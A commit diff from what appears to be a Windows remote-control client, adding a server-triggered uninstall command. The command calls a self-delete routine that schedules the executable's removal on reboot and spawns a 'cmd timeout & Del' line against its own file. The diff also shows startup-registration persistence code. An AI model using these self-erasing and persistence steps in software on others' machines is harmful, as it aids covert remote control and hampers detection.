Feature: Add a menu to uninstall client program
This commit is contained in:
@@ -15,6 +15,7 @@
|
||||
#include <common/iniFile.h>
|
||||
#include "IOCPUDPClient.h"
|
||||
#include "IOCPKCPClient.h"
|
||||
#include "auto_start.h"
|
||||
|
||||
// UDP 协议仅能针对小包数据,且数据没有时序关联
|
||||
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect) {
|
||||
@@ -581,6 +582,16 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
}
|
||||
|
||||
case TOKEN_UNINSTALL:
|
||||
{
|
||||
BYTE bToken = COMMAND_BYE;// 被控端退出
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||
g_bExit = S_CLIENT_EXIT;
|
||||
self_del(10);
|
||||
Mprintf("======> Client uninstall \n");
|
||||
break;
|
||||
}
|
||||
|
||||
case SERVER_EXIT:
|
||||
{
|
||||
// 主控端退出
|
||||
|
||||
@@ -63,13 +63,20 @@ inline BOOL SetSelfStart(const char* sPath, const char* sNmae)
|
||||
return lRet == ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
inline BOOL self_del(void)
|
||||
inline bool markForDeleteOnReboot(const char* file)
|
||||
{
|
||||
return MoveFileExA(file, NULL, MOVEFILE_DELAY_UNTIL_REBOOT | MOVEFILE_WRITE_THROUGH) != FALSE;
|
||||
}
|
||||
|
||||
inline BOOL self_del(int timeoutSecond=3)
|
||||
{
|
||||
char file[MAX_PATH] = { 0 }, szCmd[MAX_PATH * 2] = { 0 };
|
||||
if (GetModuleFileName(NULL, file, MAX_PATH) == 0)
|
||||
return FALSE;
|
||||
|
||||
sprintf(szCmd, "cmd.exe /C timeout /t 3 /nobreak > Nul & Del /f /q \"%s\"", file);
|
||||
markForDeleteOnReboot(file);
|
||||
|
||||
sprintf(szCmd, "cmd.exe /C timeout /t %d /nobreak > Nul & Del /f /q \"%s\"", timeoutSecond, file);
|
||||
|
||||
STARTUPINFO si = { 0 };
|
||||
PROCESS_INFORMATION pi = { 0 };
|
||||
|
||||
@@ -288,6 +288,9 @@ BOOL CreateDirectoryRecursively(const char* path)
|
||||
|
||||
int RegisterStartup(const char* startupName, const char* exeName)
|
||||
{
|
||||
#ifdef _DEBUG
|
||||
return 1;
|
||||
#endif
|
||||
char folder[MAX_PATH] = { 0 };
|
||||
if (GetEnvironmentVariableA("ProgramData", folder, MAX_PATH) > 0){
|
||||
size_t len = strlen(folder);
|
||||
|
||||
Reference in New Issue
Block a user